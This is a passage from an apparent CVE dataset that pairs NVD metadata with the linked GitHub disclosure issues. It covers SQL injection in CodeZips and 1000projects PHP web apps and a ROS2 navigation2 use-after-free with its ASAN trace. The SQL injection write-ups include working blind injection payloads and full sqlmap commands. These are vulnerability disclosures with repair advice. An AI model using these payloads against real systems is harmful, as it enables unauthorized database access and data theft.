(ELT(8405=8405,1))),0x717a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jPpZ&password=123456&login= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```coffeescript sqlmap -u "10.211.55.6:1125/index.php" --data="email=admin&pass=adminasd&login=Login" --cookie="PHPSESSID=n5c2rabr3v9o554j8suckrqqp4; ci_session=c2mdo4mb8d1hur8t3p7b3bk5cc1mct37" --batch -level=5 --risk=3 --random-agent --tamper=space2comment --dbs ``` <img width="1141" alt="image" src="https://github.com/user-attachments/assets/8ef55487-aae3-494d-8fdc-0d4045eff2b3"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

CodeZips Project Management System In PHP And MYSQL With Source Code V1.0 /index.php SQL injection

https://api.github.com/repos/SkGoing/CVE-repo_00/issues/3/comments

0

2024-12-02T09:08:51Z

https://github.com/SkGoing/CVE-repo_00/issues/3

2,711,143,358

3

6,443

CVE-2024-12234

2024-12-05T17:15:11.213

A vulnerability was found in 1000 Projects Beauty Parlour Management System 1.0. It has been classified as critical. Affected is an unknown function of the file /admin/edit-customer-detailed.php. The manipulation of the argument name leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.

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[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Hacker0xone/CVE/issues/17" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.286980" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.286980" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.456519" } ]

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/17

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/edit-customer-detailed.php SQL injection ## NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html ## AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/edit-customer-detailed.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z PROBLEM TYPE # Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/edit-customer-detailed.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'name' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. ## DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/edit-customer-detailed.php" file. This vulnerability stems from insufficient user input validation of the 'name' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. ## No login or authorization is required to exploit this vulnerability ## Vulnerability details and POC ## Vulnerability lonameion: + 'name' parameter ``` Payload: Parameter: name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: name=Sunita Verma1' WHERE 8004=8004 AND 4463=(SELECT (CASE WHEN (4463=4463) THEN 4463 ELSE (SELECT 6336 UNION SELECT 4643) END))-- -&email=1verma@gmail.com&mobilenum=5546464646&gender=Male&details=Taking Hair Spa111&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=Sunita Verma1' WHERE 3600=3600 AND (SELECT 6712 FROM (SELECT(SLEEP(5)))wJLW)-- NENO&email=1verma@gmail.com&mobilenum=5546464646&gender=Male&details=Taking Hair Spa111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` sqlmap -u "http://10.211.55.6:1112/admin/edit-customer-detailed.php?editid=1" --data="name=Sunita+Verma1&email=1verma%40gmail.com&mobilenum=5546464646&gender=Male&details=Taking+Hair+Spa111&submit=" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` + <img width="590" alt="image" src="https://github.com/user-attachments/assets/a099ab58-b9b7-4663-845f-8443dc91f238"> # Suggested repair + Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. + Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format. + Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. + Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/edit-customer-detailed.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/17/comments

0

2024-12-04T09:23:20Z

https://github.com/Hacker0xOne/CVE/issues/17

2,717,081,474

17

6,444

CVE-2024-30961

2024-12-05T23:15:05.030

Insecure Permissions vulnerability in Open Robotics Robotic Operating System 2 (ROS2) navigation2- ROS2-humble and navigation 2-humble allows a local attacker to execute arbitrary code via the error-thrown mechanism in nav2_bt_navigator.

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[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-planning/navigation2/issues/4175" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-planning/navigation2/pull/4180" } ]

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[ "94" ]

94

https://github.com/ros-planning/navigation2/issues/4175

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-planning", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  Ubuntu22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  defaulted #### Steps to reproduce issue  I encounter this UAF-bug many times when using the Nav2Goal feature Launch the navigation2 normally, as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` Keep sending `Nav2Goal` in rviz2-displayer or sending goal by command `ros2 action send_goal` or send msm into topic `/goal_pose` , in which the goal_pose is random. Finally sent Ctrl+C to shutdown navigation2, which is before stop the action-sending and even before the latest action-goal finished. An ASAN report file was discovered in my execution environment. #### Expected behavior #### Actual behavior The ASAN reporting a **use-after-free** bug to me, as following: ``` ================================================================= ==151301==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030006bf260 at pc 0x563e36ee1206 bp 0x7fb86af78520 sp 0x7fb86af77cd0 READ of size 16 at 0x6030006bf260 thread T17 #0 0x563e36ee1205 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0x4c205) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #1 0x563e36ee1759 in bcmp (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0x4c759) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #2 0x7fb87667cec2 in nav2_bt_navigator::NavigatorMuxer::stopNavigating(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x47cec2) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #3 0x7fb87666d1a6 in nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>::onCompletion(std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x46d1a6) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #4 0x7fb87667bb81 in void std::__invoke_impl<void, void (nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus), nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus>(std::__invoke_memfun_deref, void (nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus), nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >&&, nav2_behavior_tree::BtStatus&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x47bb81) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #5 0x7fb87667b6e6 in std::_Function_handler<void (std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus), std::_Bind<void (nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>::* (nav2_bt_navigator::Navigator<nav2_msgs::action::NavigateToPose>*, std::_Placeholder<1>, std::_Placeholder<2>))(std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >, nav2_behavior_tree::BtStatus)> >::_M_invoke(std::_Any_data const&, std::shared_ptr<nav2_msgs::action::NavigateToPose_Result_<std::allocator<void> > >&&, nav2_behavior_tree::BtStatus&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x47b6e6) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #6 0x7fb87667ea2f in nav2_behavior_tree::BtActionServer<nav2_msgs::action::NavigateToPose>::executeCallback() (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x47ea2f) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #7 0x7fb8766a9cef in nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::work() (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a9cef) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #8 0x7fb8766a9208 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>::operator()() const (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a9208) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #9 0x7fb8766a8f29 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a8f29) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #10 0x7fb8766a8db0 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a8db0) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #11 0x7fb8792457f6 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/*****/nav2_humble/install/nav2_behavior_tree/lib/libnav2_compute_path_to_pose_action_bt_node.so+0x307f6) (BuildId: 552cfd70a84cf279d69712ed189efea8e25d71f0) #12 0x7fb875899ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #13 0x7fb8766a6b8a in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>::_M_run() (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a6b8a) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #14 0x7fb875cdc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #15 0x7fb875894ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #16 0x7fb87592684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 0x6030006bf260 is located 0 bytes inside of 31-byte region [0x6030006bf260,0x6030006bf27f) freed by thread T0 here: #0 0x563e36f8511d in operator delete(void*) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0xf011d) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #1 0x7fb876596e21 in nav2_bt_navigator::BtNavigator::~BtNavigator() (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x396e21) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #2 0x7fb875829d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 previously allocated by thread T13 here: #0 0x563e36f848bd in operator new(unsigned long) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0xef8bd) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #1 0x7fb875d4bfee in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_assign(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x14bfee) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) Thread T17 created by T0 here: #0 0x563e36f32f6c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0x9df6c) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #1 0x7fb875cdc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7fb8766a6509 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a6509) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #3 0x7fb8766a5e50 in std::_Sp_counted_ptr_inplace<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>, std::allocator<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void> >, (__gnu_cxx::_Lock_policy)2>::_Sp_counted_ptr_inplace<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(std::allocator<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void> >, nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a5e50) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #4 0x7fb8766a365a in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a365a) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #5 0x7fb87668c533 in nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x48c533) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #6 0x7fb8766af3ae in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4af3ae) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #7 0x7fb876694973 in rclcpp_action::Server<nav2_msgs::action::NavigateToPose>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x494973) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #8 0x7fb877a7e1b6 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x131b6) (BuildId: 8da0710b8af025b200f6ce73ffc85c5ed5c45a8d) Thread T13 created by T0 here: #0 0x563e36f32f6c in __interceptor_pthread_create (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0x9df6c) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) #1 0x7fb875cdc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7fb8766a6509 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a6509) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #3 0x7fb8766a5e50 in std::_Sp_counted_ptr_inplace<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void>, std::allocator<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void> >, (__gnu_cxx::_Lock_policy)2>::_Sp_counted_ptr_inplace<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(std::allocator<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()> >, void> >, nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a5e50) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #4 0x7fb8766a365a in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >)::'lambda'()&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4a365a) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #5 0x7fb87668c533 in nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x48c533) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #6 0x7fb8766af3ae in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >), nav2_util::SimpleActionServer<nav2_msgs::action::NavigateToPose>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::NavigateToPose> >&&) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x4af3ae) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #7 0x7fb876694973 in rclcpp_action::Server<nav2_msgs::action::NavigateToPose>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/libbt_navigator_core.so+0x494973) (BuildId: 014f746fc22fa55b4dda12be8ead56d03af59e4e) #8 0x7fb877a7e1b6 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x131b6) (BuildId: 8da0710b8af025b200f6ce73ffc85c5ed5c45a8d) SUMMARY: AddressSanitizer: heap-use-after-free (/home/*****/nav2_humble/install/nav2_bt_navigator/lib/nav2_bt_navigator/bt_navigator+0x4c205) (BuildId: 34a63e084ab75f9b1885869f4001c62f73d97070) in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) Shadow bytes around the buggy address: 0x0c06800cfdf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800cfe00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800cfe10: fa fa fa fa fa fa 00 00 00 00 fa fa 00 00 00 03 0x0c06800cfe20: fa fa 00 00 00 fa fa fa fa fa fa fa fa fa fa fa 0x0c06800cfe30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c06800cfe40: fa fa fa fa fa fa fa fa fa fa fa fa[fd]fd fd fd 0x0c06800cfe50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800cfe60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c06800cfe70: fa fa fa fa fa fa fd fd fd fa fa fa fd fd fd fa 0x0c06800cfe80: fa fa fa fa fa fa fa fa fd fd fd fa fa fa fa fa 0x0c06800cfe90: fa fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by 